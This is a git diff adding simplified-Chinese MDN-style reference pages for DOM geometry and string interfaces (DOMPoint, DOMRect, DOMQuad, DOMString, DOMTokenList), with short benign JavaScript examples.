+ + diff --git a/files/zh-cn/web/api/dompoint/w/index.html b/files/zh-cn/web/api/dompoint/w/index.html new file mode 100644 index 0000000000..f52da8de19 --- /dev/null +++ b/files/zh-cn/web/api/dompoint/w/index.html @@ -0,0 +1,45 @@ +--- +title: DOMPoint.w +slug: Web/API/DOMPoint/w +translation_of: Web/API/DOMPoint/w +--- +
{{APIRef("DOM")}}
+ +

DOMPoint 的 w 属性表示该点的空间透视值。

+ +

语法

+ +
var perspective = DOMPoint.w;
+ +

+ +

双精度浮点值,表示该点的空间透视值。这个值的类型并没有严格限制,意味着它可以是 {{jsxref("NaN")}} 或 {{jsxref("Infinity", "±Infinity")}}。 默认值为 1.0。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geometry Interfaces', '#dom-dompoint-w', 'w')}}{{Spec2('Geometry Interfaces')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.DOMPointReadOnly.w")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/dompoint/x/index.html b/files/zh-cn/web/api/dompoint/x/index.html new file mode 100644 index 0000000000..d695b9d1a6 --- /dev/null +++ b/files/zh-cn/web/api/dompoint/x/index.html @@ -0,0 +1,45 @@ +--- +title: DOMPoint.x +slug: Web/API/DOMPoint/x +translation_of: Web/API/DOMPoint/x +--- +
{{APIRef("DOM")}}
+ +

DOMPoint 的 x 属性表示该点的水平坐标。 通常, x 的正值表示右边,负值表示左边,除非改变了默认的轴方向。

+ +

语法

+ +
var xPos = DOMPoint.x;
+ +

+ +

双精度浮点值,表示该点的 x 坐标值。这个值的类型并没有严格限制,意味着它可以是 {{jsxref("NaN")}} 或 {{jsxref("Infinity", "±Infinity")}}。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geometry Interfaces', '#dom-dompoint-x', 'x')}}{{Spec2('Geometry Interfaces')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.DOMPointReadOnly.x")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/dompoint/y/index.html b/files/zh-cn/web/api/dompoint/y/index.html new file mode 100644 index 0000000000..ea4baedabd --- /dev/null +++ b/files/zh-cn/web/api/dompoint/y/index.html @@ -0,0 +1,45 @@ +--- +title: DOMPoint.y +slug: Web/API/DOMPoint/y +translation_of: Web/API/DOMPoint/y +--- +
{{APIRef("DOM")}}
+ +

DOMPoint 的 y 属性表示该点的垂直坐标。y 值增加表示向下偏移,减小表示向上偏移,除非改变了默认轴方向。

+ +

语法

+ +
var yPos = DOMPoint.y;
+ +

+ +

双精度浮点值,表示该点的 y 坐标值。这个值的类型并没有严格限制,意味着它可以是 {{jsxref("NaN")}} 或 {{jsxref("Infinity", "±Infinity")}}。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geometry Interfaces', '#dom-dompoint-y', 'y')}}{{Spec2('Geometry Interfaces')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.DOMPointReadOnly.y")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/dompoint/z/index.html b/files/zh-cn/web/api/dompoint/z/index.html new file mode 100644 index 0000000000..e813e18954 --- /dev/null +++ b/files/zh-cn/web/api/dompoint/z/index.html @@ -0,0 +1,45 @@ +--- +title: DOMPoint.z +slug: Web/API/DOMPoint/z +translation_of: Web/API/DOMPoint/z +--- +
{{APIRef("DOM")}}
+ +

DOMPoint 的 z 属性表示该点的深度坐标。 z 值为 0 表示屏幕平面,正值表示从屏幕前面向靠近用户的方向延伸,负值表示从屏幕后面向远离用户的方向延伸,除非改变了默认的轴方向。

+ +

语法

+ +
var zPos = DOMPoint.z;
+ +

+ +

双精度浮点值,表示该点的 z 坐标值。这个值的类型并没有严格限制,意味着它可以是 {{jsxref("NaN")}} 或 {{jsxref("Infinity", "±Infinity")}}。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geometry Interfaces', '#dom-dompoint-z', 'z')}}{{Spec2('Geometry Interfaces')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.DOMPointReadOnly.z")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/domquad/index.html b/files/zh-cn/web/api/domquad/index.html new file mode 100644 index 0000000000..2cc6117bcd --- /dev/null +++ b/files/zh-cn/web/api/domquad/index.html @@ -0,0 +1,58 @@ +--- +title: DOMQuad +slug: Web/API/DOMQuad +translation_of: Web/API/DOMQuad +--- +

{{SeeCompatTable}}{{APIRef("Geometry Interfaces")}}

+ +

DOMQuad 是四 DOMPoints 的集合, 用于定义任意四边形的角。返回 DOMQuads 允许 getBoxQuads () 即使存在任意2D 或3D 转换, 也可以返回准确的信息。它有一个方便的边界属性返回 DOMRectReadOnly 的那些情况下, 你只需要一个轴对齐的边框。

+ +
+
{{domxref("DOMQuad.DOMQuad()")}}
+
Creates a new DOMQuad object.
+
+ +

Properties

+ +
+
p1,p2,p3,p4 {{readonlyinline}}
+
are {{domxref("DOMPoint")}} objects for each of the DOMQuad object's four corners.
+
+ +

Methods

+ +
+
{{domxref("DOMQuad.fromRect()")}}
+
Returns a new DOMQuad object based on the passed set of coordinates.
+
{{domxref("DOMQuad.fromQuad()")}}
+
Returns a new DOMQuad object based on the passed set of coordinates.
+
{{domxref("DOMQuad.getBounds()")}}
+
Returns a {{domxref("DOMRect")}} object with the coordinates and dimensions of the DOMQuad object.
+
{{domxref("DOMQuad.toJSON()")}}
+
Returns a JSON representation of the DOMQuad object.
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geometry Interfaces','#DOMQuad','DOMQuad')}}{{Spec2('Geometry Interfaces')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.DOMQuad")}}

+
diff --git a/files/zh-cn/web/api/domrect/domrect/index.html b/files/zh-cn/web/api/domrect/domrect/index.html new file mode 100644 index 0000000000..ebbfe62edf --- /dev/null +++ b/files/zh-cn/web/api/domrect/domrect/index.html @@ -0,0 +1,64 @@ +--- +title: DOMRect.DOMRect() +slug: Web/API/DOMRect/DOMRect +translation_of: Web/API/DOMRect/DOMRect +--- +

{{APIRef("DOM")}}{{ SeeCompatTable() }}

+ +

DOMRect() 构造函数生成一个新的 {{domxref("DOMRect")}} 对象。

+ +

语法

+ +
var myDOMRect = new DOMRect(x, y, width, height);
+ +

参数

+ +
+
x
+
DOMRect 原点的 x 坐标。
+
y
+
DOMRect 原点的 y 坐标。
+
width
+
DOMRect 的宽度。
+
height
+
DOMRect 的高度。
+
+ +

例子

+ +

想生成一个新 DOMRect,你可以运行一行这样的代码:

+ +
myDOMRect = new DOMRect(0,0,100,100);
+// running 'myDOMRect' in the console would then return
+// DOMRect { x: 0, y: 0, width: 100, height: 100, top: 0, right: 100, bottom: 100, left: 0 }
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geometry Interfaces', '#dom-domrect-domrect', 'DOMRect()')}}{{Spec2('Geometry Interfaces')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.DOMRect.DOMRect")}}

+ +

更多

+ + diff --git a/files/zh-cn/web/api/domrect/index.html b/files/zh-cn/web/api/domrect/index.html new file mode 100644 index 0000000000..763f5487b7 --- /dev/null +++ b/files/zh-cn/web/api/domrect/index.html @@ -0,0 +1,88 @@ +--- +title: DOMRect +slug: Web/API/DOMRect +translation_of: Web/API/DOMRect +--- +

{{draft}}{{APIRef("Geometry Interfaces")}}

+ +

一个 DOMRect 代表一个矩形。

+ +

DOMRect 表示的盒子的类型由返回它的方法或属性指定。例如,WebVR API 的 {{domxref("VREyeParameters.renderRect")}} 指定了头戴式显示器的一只眼睛应该呈现的影像所在的 canvas 的视口。

+ +

它继承自它的父类,{{domxref("DOMRectReadOnly")}}。

+ +

{{InheritanceDiagram}}

+ +

构造函数

+ +
+
{{domxref("DOMRect.DOMRect","DOMRect()")}}
+
创建一个新的 DOMRect 对象。
+
+ +

属性

+ +
+
+ +

DOMRect 从其父类 {{domxref("DOMRectReadOnly")}} 继承属性。不同之处在于它们不再是只读的。

+ +
+
{{domxref("DOMRectReadOnly.x")}}
+
DOMRect 原点的 x 坐标。
+
{{domxref("DOMRectReadOnly.y")}}
+
DOMRect 原点的 y 坐标。
+
{{domxref("DOMRectReadOnly.width")}}
+
DOMRect 的宽度。
+
{{domxref("DOMRectReadOnly.height")}}
+
DOMRect 的高度。
+
{{domxref("DOMRectReadOnly.top")}}
+
返回 DOMRect 的顶坐标值(与 y 具有相同的值,如果 height 为负值,则为 y + height 的值)。
+
{{domxref("DOMRectReadOnly.right")}}
+
返回 DOMRect 的右坐标值(与 x + width 具有相同的值,如果width 为负值,则为 x 的值)。
+
{{domxref("DOMRectReadOnly.bottom")}}
+
返回 DOMRect 的底坐标值(与 y + height 具有相同的值,如果 height 为负值,则为 y 的值)。
+
{{domxref("DOMRectReadOnly.left")}}
+
返回 DOMRect 的左坐标值(与 x 具有相同的值,如果 width 为负值,则为 x + width 的值)。
+
+ +

方法

+ +

DOMRect 从它的父类继承方法,{{domxref("DOMRectReadOnly")}}。

+ +
+
+

静态方法

+
+
{{domxref("DOMRectReadOnly.fromRect()")}}
+
创建一个具有指定位置和尺寸的新 DOMRect 对象。
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geometry Interfaces', '#DOMRect', 'DOMRect')}}{{Spec2('Geometry Interfaces')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.DOMRect")}}

+ +

更多

+ + diff --git a/files/zh-cn/web/api/domrectreadonly/index.html b/files/zh-cn/web/api/domrectreadonly/index.html new file mode 100644 index 0000000000..7d32eba68d --- /dev/null +++ b/files/zh-cn/web/api/domrectreadonly/index.html @@ -0,0 +1,77 @@ +--- +title: DOMRectReadOnly +slug: Web/API/DOMRectReadOnly +translation_of: Web/API/DOMRectReadOnly +--- +

{{APIRef("Geometry Interfaces")}}

+ +

DOMRectReadOnly 接口通过详细列出 {{domxref("DOMRect")}} 所使用的标准属性来定义一个属性不可变的矩形。

+ +

构造函数

+ +
+
{{domxref("DOMRectReadOnly.DOMRectReadOnly","DOMRectReadOnly()")}}
+
用来创建新的 DOMRectReadOnly 对象,但请注意,该构造函数不能由第三方 JavaScript 调用:这样做将返回 “Illegal constructor” 类型错误。
+
+ +

属性

+ +
+
+ +
+
{{domxref("DOMRectReadOnly.x")}} {{readonlyInline}}
+
DOMRect 原点的 x 坐标。
+
{{domxref("DOMRectReadOnly.y")}} {{readonlyInline}}
+
DOMRect 原点的 y 坐标。
+
{{domxref("DOMRectReadOnly.width")}} {{readonlyInline}}
+
DOMRect 的宽度。
+
{{domxref("DOMRectReadOnly.height")}} {{readonlyInline}}
+
DOMRect 的高度。
+
{{domxref("DOMRectReadOnly.top")}} {{readonlyInline}}
+
返回 DOMRect 的顶部坐标值(通常与 y 相同)。
+
{{domxref("DOMRectReadOnly.right")}} {{readonlyInline}}
+
返回 DOMRect 的右坐标值(通常与 x + width 相同)。
+
{{domxref("DOMRectReadOnly.bottom")}} {{readonlyInline}}
+
返回 DOMRect 的底部坐标值(通常与 y + height 相同)。
+
{{domxref("DOMRectReadOnly.left")}} {{readonlyInline}}
+
返回 DOMRect 的左坐标值(通常与 x​​​​​​​ 相同)。
+
+ +

静态方法

+ +
+
{{domxref("DOMRectReadOnly.fromRect()")}}
+
使用指定的位置和尺寸创建一个新的 DOMRect 对象。
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geometry Interfaces', '#DOMRect', 'DOMRectReadOnly')}}{{Spec2('Geometry Interfaces')}}Initial definition.
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.DOMRectReadOnly")}}

+
+ +

其他

+ + diff --git a/files/zh-cn/web/api/domstring/binary/index.html b/files/zh-cn/web/api/domstring/binary/index.html new file mode 100644 index 0000000000..4eab745a82 --- /dev/null +++ b/files/zh-cn/web/api/domstring/binary/index.html @@ -0,0 +1,23 @@ +--- +title: Binary strings +slug: Web/API/DOMString/Binary +translation_of: Web/API/DOMString/Binary +--- +

{{jsxref("String", "JavaScript strings")}} 是 UTF-16 编码的字符串。它的一个子集是ASCII 字符集(i.e., 字符的码点不会超过 127)。比如,  "Hello world!"这个字符串属于 ASCII 子集, 而 "ÀÈÌÒÙ" 不属于ASCII。binary string 是JS字符集的另外一个子集,它类似于 ASCII 字符集,但是字符的码点(charCode)不再限制到 127, 它包含了255 以内的字符。 binary string设计的目的不是用于代表字符, 而是代表二进制数据。由 binary string 代表的二进制数据大小是原始数据的两倍,然而这对于最终用户是不可见的, 因为JavaScript strings 的长度是以2字节为单位进行计算的。

+ +

Binary strings 不是JavaScript 语言的设计。 然而至少有一个native 函数以它作为输入 ,比如{{domxref("WindowBase64.btoa","btoa()")}}: 给这个函数传入charcode 大于255 的字符串会抛出一个 Character Out Of Range 的错误。

+ +

引入Binary strings来代表uint8 数字的原因是由于 web 应用变得越来越强大(比如操作音频和视频, 使用WebSockets获取二进制数据, 等等)很明显,有一种可以让JavaScript可以简单而快速地操作二进制数据的api 将会提供很大的帮助。

+ +

在以前, 操作二进制数据必须通过对字符串的操作来模拟。使用 charCodeAt() 方法从Binary strings读取数据. 然而这么做又慢又容易出错, 因为需要多次转换(尤其是当数据不是真正的 byte-format data,而是 32-bit 整数或者浮点数)。

+ +

JavaScript typed arrays 提供了一个操作 二进制数据更加高效的方法。StringView 这个非 native的构造函数是构建在 typed arrays 上的为字符串提供了一个 C-like的接口。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/domstring/index.html b/files/zh-cn/web/api/domstring/index.html new file mode 100644 index 0000000000..94ad3ad373 --- /dev/null +++ b/files/zh-cn/web/api/domstring/index.html @@ -0,0 +1,52 @@ +--- +title: DOMString +slug: Web/API/DOMString +tags: + - DOMString +translation_of: Web/API/DOMString +--- +

{{APIRef("DOM")}}

+ +

DOMString 是一个UTF-16字符串。由于JavaScript已经使用了这样的字符串,所以DOMString 直接映射到 一个{{jsxref("String")}}。

+ +

null传递给接受DOMString的方法或参数时通常会把其stringifies为“null”。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebIDL', '#DOMString', 'DOMString')}}{{Spec2('WebIDL')}}Rephrasing of the definition to remove weird edge cases.
{{SpecName('DOM3 Core', 'core.html#DOMString', 'DOMString')}}{{Spec2('DOM3 Core')}}No change from {{SpecName('DOM2 Core')}}
{{SpecName('DOM2 Core', 'core.html#ID-C74D1578', 'DOMString')}}{{Spec2('DOM2 Core')}}No change from {{SpecName('DOM1')}}
{{SpecName('DOM1', 'level-one-core.html#ID-C74D1578', 'DOMString')}}{{Spec2('DOM1')}}Initial definition.
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/domstringlist/index.html b/files/zh-cn/web/api/domstringlist/index.html new file mode 100644 index 0000000000..ab76994a78 --- /dev/null +++ b/files/zh-cn/web/api/domstringlist/index.html @@ -0,0 +1,30 @@ +--- +title: DOMStringList +slug: Web/API/DOMStringList +translation_of: Web/API/DOMStringList +--- +

{{APIRef("DOM")}}{{Obsolete_header}}

+ +

某些API会返回的包含一列DOMString的一种类型

+ +

Properties

+ +
+
{{domxref("DOMStringList.length")}} {{ReadOnlyInline}}
+
返回列表的长度,
+
+ +

Methods

+ +
+
{{domxref("DOMStringList.item()")}}
+
返回一个 {{domxref("DOMString")}}.
+
{{domxref("DOMStringList.contains()")}}
+
返回{{jsxref("Boolean")}} 类型的标示来表明此类型是否包含某字符串。
+
+ +

Specifications

+ + diff --git a/files/zh-cn/web/api/domstringmap/index.html b/files/zh-cn/web/api/domstringmap/index.html new file mode 100644 index 0000000000..b6f040cc36 --- /dev/null +++ b/files/zh-cn/web/api/domstringmap/index.html @@ -0,0 +1,45 @@ +--- +title: DOMStringMap +slug: Web/API/DOMStringMap +tags: + - API + - DOM + - 参考 + - 接口 +translation_of: Web/API/DOMStringMap +--- +
{{ APIRef("HTML DOM") }}
+ +

DOMStringMap 接口在 {{ domxref("HTMLElement.dataset") }} 属性中被用到,被用于容纳和展示元素的自定义属性。

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', "dom.html#domstringmap", "DOMStringMap")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.DOMStringMap")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/domtimestamp/index.html b/files/zh-cn/web/api/domtimestamp/index.html new file mode 100644 index 0000000000..e60983e81e --- /dev/null +++ b/files/zh-cn/web/api/domtimestamp/index.html @@ -0,0 +1,27 @@ +--- +title: DOMTimeStamp +slug: Web/API/DOMTimeStamp +translation_of: Web/API/DOMTimeStamp +--- +
{{APIRef("DOM")}}
+ +

DOMTimeStamp 类型表示绝对或相对毫秒数,具体取决于它出现的规范。

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("WebIDL", "#common-DOMTimeStamp", "DOMTimeStamp")}}{{Spec2("WebIDL")}}Initial specification
diff --git a/files/zh-cn/web/api/domtokenlist/add/index.html b/files/zh-cn/web/api/domtokenlist/add/index.html new file mode 100644 index 0000000000..1ce6e5da8f --- /dev/null +++ b/files/zh-cn/web/api/domtokenlist/add/index.html @@ -0,0 +1,73 @@ +--- +title: DOMTokenList.add() +slug: Web/API/DOMTokenList/add +translation_of: Web/API/DOMTokenList/add +--- +

{{APIRef("DOM")}}

+ +

{{domxref("DOMTokenList")}} 接口的 add() 方法将给定的标记添加到列表中。 

+ +

语法

+ +
tokenList.add(token1[, token2[, ...tokenN]]);
+ +

参数

+ +
+
tokenN
+
一个 {{domxref("DOMString")}},表示你要添加到列表里的标记。
+
+ +

返回值

+ +

undefined

+ +

例子

+ +

在下面的例子中,我们使用 {{domxref("Element.classList")}} 将 {{htmlelement("span")}} 元素上设置的类列表检索为 DOMTokenList。然后,我们将新标记添加到列表中,并将列表写入 <span> 元素的{{domxref("Node.textContent")}}。

+ +

HTML:

+ +
<span class="a b c"></span>
+ +

JavaScript:

+ +
var span = document.querySelector("span");
+var classes = span.classList;
+classes.add("d");
+span.textContent = classes;
+
+ +

结果如下:

+ +

{{ EmbedLiveSample('Examples', '100%', 60) }}

+ +

你也可以添加多个标记:

+ +
span.classList.add("d", "e", "f");
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-domtokenlist-add','add()')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.DOMTokenList.add")}}

+
diff --git a/files/zh-cn/web/api/domtokenlist/contains/index.html b/files/zh-cn/web/api/domtokenlist/contains/index.html new file mode 100644 index 0000000000..3db05d7b9b --- /dev/null +++ b/files/zh-cn/web/api/domtokenlist/contains/index.html @@ -0,0 +1,73 @@ +--- +title: DOMTokenList.contains() +slug: Web/API/DOMTokenList/contains +translation_of: Web/API/DOMTokenList/contains +--- +

{{APIRef("DOM")}}

+ +

{{domxref("DOMTokenList")}}接口的contains()方法返回{{domxref("Boolean")}}类型。若传入的参数token包含在列表中时则返回true ,否则返回 false

+ +

语法

+ +
tokenList.contains(token);
+ +

参数

+ +
+
token
+
{{domxref("DOMString")}}类型,用于判断是否存在于列表中的标记。
+
+ +

返回值

+ +

{{domxref("Boolean")}}类型,当token包含在列表中时返回true,否则返回false

+ +

例子

+ +

在下面的列子中,我们通过{{domxref("Element.classList")}}方法从 {{htmlelement("span")}} 元素中获取DOMTokenList 对象。 然后测试验证"c" 是否包含在列表中, 结果输出到 <span>标签的内容 {{domxref("Node.textContent")}}。

+ +

HTML:

+ +
<span class="a b c"></span>
+ +

JavaScript:

+ +
let span = document.querySelector("span");
+let classes = span.classList;
+let result = classes.contains("c");
+if (result) {
+  span.textContent = "The classList contains 'c'";
+} else {
+   span.textContent = "The classList does not contain 'c'";
+}
+ +

结果如下:

+ +

{{ EmbedLiveSample('Examples', '100%', 60) }}

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-domtokenlist-contains','contains()')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.DOMTokenList.contains")}}

+
diff --git a/files/zh-cn/web/api/domtokenlist/index.html b/files/zh-cn/web/api/domtokenlist/index.html new file mode 100644 index 0000000000..e67bee5432 --- /dev/null +++ b/files/zh-cn/web/api/domtokenlist/index.html @@ -0,0 +1,118 @@ +--- +title: DOMTokenList +slug: Web/API/DOMTokenList +tags: + - API + - DOM + - DOMTokenList + - Interface + - Renference +translation_of: Web/API/DOMTokenList +--- +

{{APIRef}}{{ gecko_minversion_header("1.9.2") }}

+ +

DOMTokenList 接口表示一组空格分隔的标记(tokens)。如由 {{ domxref("Element.classList") }}、{{domxref("HTMLLinkElement.relList")}}、{{domxref("HTMLAnchorElement.relList")}} 或 {{domxref("HTMLAreaElement.relList")}} 返回的一组值。它和 JavaScript {{jsxref("Array")}} 对象一样,索引从 0 开始。DOMTokenList 总是区分大小写(case-sensitive)。

+ +

属性

+ +
+
{{ domxref("DOMTokenList.length") }} {{ReadOnlyInline}}
+
一个整数,表示存储在该对象里值的个数。
+
{{domxref("DOMTokenList.value")}}
+
该属性以 {{domxref("DOMString")}} 的形式返回 DOMTokenList 列表的值。
+
+ +

方法

+ +
+
{{domxref("DOMTokenList.item()", "DOMTokenList.item(index)")}}
+
根据传入的索引值返回一个值,如果索引值大于等于符号列表的长度(length),则返回 undefinednull,在 {{ gecko("7.0") }} 之前的版本中返回 null
+
{{domxref("DOMTokenList.contains()", "DOMTokenList.contains(token)")}}
+
如果 DOMTokenList 列表中包括相应的字符串 token,则返回 true,否则返回 false
+
{{domxref("DOMTokenList.add()", "DOMTokenList.add(token1[, token2[, ...tokenN]])")}}
+
添加一个或多个标记(token)到 DOMTokenList 列表中。
+
{{domxref("DOMTokenList.remove()", "DOMTokenList.remove(token1[, token2[, ...tokenN]])")}}
+
DOMTokenList 列表中移除一个或多个标记(token)。
+
{{domxref("DOMTokenList.replace()", "DOMTokenList.replace(oldTokennewToken)")}}
+
使用 newToken 替换 token 。
+
{{domxref("DOMTokenList.supports()", "DOMTokenList.supports(token)")}}
+
如果传入的 token 是相关属性(attribute)支持的标记,则返回 true 。
+
{{domxref("DOMTokenList.toggle()", "DOMTokenList.toggle(token [, force])")}}
+
从 DOMTokenList 字符串中移除标记字串(token),并返回 false。如果传入的字串(token)不存在,则将其添加进去,并返回 true 。force 是一个可选的布尔值,如果传入 true ,且传入的 token 不存在,则将其添加进去并返回 true ,若传入的 token 存在,则直接返回 true ;反之,如果传入 false ,则移除存在的 token ,并返回 false ,如 token 不存在则直接返回 false 。
+
{{domxref("DOMTokenList.entries()")}}
+
返回一个迭代器({{jsxref("Iteration_protocols","iterator")}}) ,以遍历这个对象中的所有键值对。
+
{{domxref("DOMTokenList.forEach()", "DOMTokenList.forEach(callback [, thisArg])")}}
+
为每个 DOMTokenList 中的元素都调用一次传入的 callback 函数 。
+
{{domxref("DOMTokenList.keys()")}}
+
返回一个迭代器({{jsxref("Iteration_protocols","iterator")}})以遍历这个对象中所有键值对的键。
+
{{domxref("DOMTokenList.values()")}}
+
返回一个迭代器({{jsxref("Iteration_protocols","iterator")}})以遍历这个对象中所有键值对的值。
+
+ +

示例

+ +

在下面这个简单的例子中,我们使用 {{domxref("Element.classList")}} 获取了 {{htmlelement("p")}} 元素的class列表,也就是一个DOMTokenList ,再使用 {{domxref("DOMTokenList.add()")}} 添加了一个class,然后更新 <p> 元素的{{domxref("Node.textContent")}}以显示这个新的 DOMTokenList

+ +

HTML:

+ +
<p class="a b c"></p>
+ +

JavaScript:

+ +
let para = document.querySelector("p");
+let classes = para.classList;
+para.classList.add("d");
+para.textContent = `paragraph classList is "${classes}"`;
+ +

输出类似这样:

+ +

+ +

去除空格和重复项目

+ +

修改 DOMTokenList 的方法(例如 {{domxref("DOMTokenList.add()")}})会自动去除多余的空格({{Glossary("Whitespace")}})和列表中的重复项目。例如:

+ +
<span class="    d   d e f"></span>
+ +
let span = document.querySelector("span");
+let classes = span.classList;
+span.classList.add("x");
+span.textContent = `span classList is "${classes}"`;
+ +

输出类似这样:

+ +

+ +
+
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName("DOM WHATWG", "#interface-domtokenlist", "DOMTokenList")}}{{Spec2("DOM WHATWG")}}Initial definition
+ +

浏览器兼容性

+ +

{{Compat("api.DOMTokenList")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/domtokenlist/item/index.html b/files/zh-cn/web/api/domtokenlist/item/index.html new file mode 100644 index 0000000000..c659eb4d43 --- /dev/null +++ b/files/zh-cn/web/api/domtokenlist/item/index.html @@ -0,0 +1,69 @@ +--- +title: DOMTokenList.item() +slug: Web/API/DOMTokenList/item +translation_of: Web/API/DOMTokenList/item +--- +

{{APIRef("DOM")}}

+ +

{{domxref("DOMTokenList")}}接口的item()方法返回一个在列表中的索引的项。

+ +

语法

+ +
tokenList.item(index)
+ +

参数

+ +
+
index
+
 {{domxref("DOMString")}} 类型,一个表示要返回的项的索引。
+
+ +

返回值

+ +

{{domxref("DOMString")}}类型,一个表示要返回的项。如果数字大于或等于列表的length,则返回null

+ +

例子

+ +

在下面的列子中,我们通过{{domxref("Element.classList")}}方法从{{htmlelement("span")}}元素中获取DOMTokenList对象。 然后使用item(tokenList.length - 1)检索列表中的最后的一个项,并将其写入<span>元素的 {{domxref("Node.textContent")}}。

+ +

首先, HTML:

+ +
<span class="a b c"></span>
+ +

然后, JavaScript:

+ +
let span = document.querySelector("span");
+let classes = span.classList;
+let item = classes.item(classes.length-1);
+span.textContent = item;
+ +

输出结果如下:

+ +

{{ EmbedLiveSample('Examples', '100%', 60) }}

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-domtokenlist-item','item()')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.DOMTokenList.item")}}

+
diff --git a/files/zh-cn/web/api/domtokenlist/keys/index.html b/files/zh-cn/web/api/domtokenlist/keys/index.html new file mode 100644 index 0000000000..3ca1c2a6f2 --- /dev/null +++ b/files/zh-cn/web/api/domtokenlist/keys/index.html @@ -0,0 +1,75 @@ +--- +title: DOMTokenList.keys() +slug: Web/API/DOMTokenList/keys +tags: + - DOM + - DOMTokenList + - Iterable + - Method + - Reference + - Web + - keys +translation_of: Web/API/DOMTokenList/keys +--- +

{{APIRef("DOM")}}

+ +

{{domxref("DOMTokenList")}} 的 keys() 方法返回一个{{jsxref("Iteration_protocols",'iterator')}}, 可以用来遍历这个对象中的所有的键,键的类型是无符号整型

+ +

语法

+ +
tokenList.keys();
+ +

参数

+ +

无.

+ +

返回值

+ +

返回一个 {{jsxref("Iteration_protocols","iterator")}}.

+ +

例子

+ +

在下面的例子中,我们获取了一个使用 {{domxref("Element.classList")}}属性获取了一个 DOMTokenList ,在这里它表示了这个 {{htmlelement("span")}} 元素的所有class属性值的键(索引)。然后我们使用了它的  keys()方法获取了一个iterator, 最后再使用 for ... of 循环来对所有键(这里是索引)进行遍历,将遍历的每一个结果都写到这个 <span> 标签内( 使用{{domxref("Node.textContent")}}属性)显示。

+ +

首先,例子使用的HTML代码为:

+ +
<span class="a b c"></span>
+ +

这是JavaScript代码:

+ +
var span = document.querySelector("span");
+var classes = span.classList;
+var iterator = classes.keys();
+
+for(var value of iterator) {
+  span.textContent += value + ' ++ ';
+}
+ +

输出为:

+ +

{{ EmbedLiveSample('Examples', '100%', 60) }}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#interface-domtokenlist','keys() (as iterable<Node>)')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.DOMTokenList.keys")}}

+
diff --git a/files/zh-cn/web/api/domtokenlist/length/index.html b/files/zh-cn/web/api/domtokenlist/length/index.html new file mode 100644 index 0000000000..92d7da9f16 --- /dev/null +++ b/files/zh-cn/web/api/domtokenlist/length/index.html @@ -0,0 +1,66 @@ +--- +title: DOMTokenList.length +slug: Web/API/DOMTokenList/length +translation_of: Web/API/DOMTokenList/length +--- +

{{APIRef("DOM")}}

+ +

 

+ +

lengthDOMTokenList接口的一个只读属性,以整数来表示,代表着当前对象中值的个数。

+ +

语法

+ +
tokenList.length;
+ +

数值

+ +

一个 整数.

+ +

示范例子

+ +

 

+ +

在示范例子里我们编写了一个span元素,使用{{domxref("Element.classList")}}去检索元素{{htmlelement("span")}}拥有的类,放回一个实时的DOMTokenList集合,然后把该集合中的数值个数写进 <span>的 {{domxref("Node.textContent")}} 属性中。

+ +

HTML代码:

+ +
<span class="a b c"></span>
+ +

JavaScript代码:

+ +
var span = document.querySelector("span");
+var classes = span.classList;
+var length = classes.length;
+
+span.textContent = 'classList length = ' + length;
+
+ +

运行得出的结果如下:

+ +

{{ EmbedLiveSample('Examples', '100%', 60) }}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-domtokenlist-length','length')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.DOMTokenList.length")}}

+
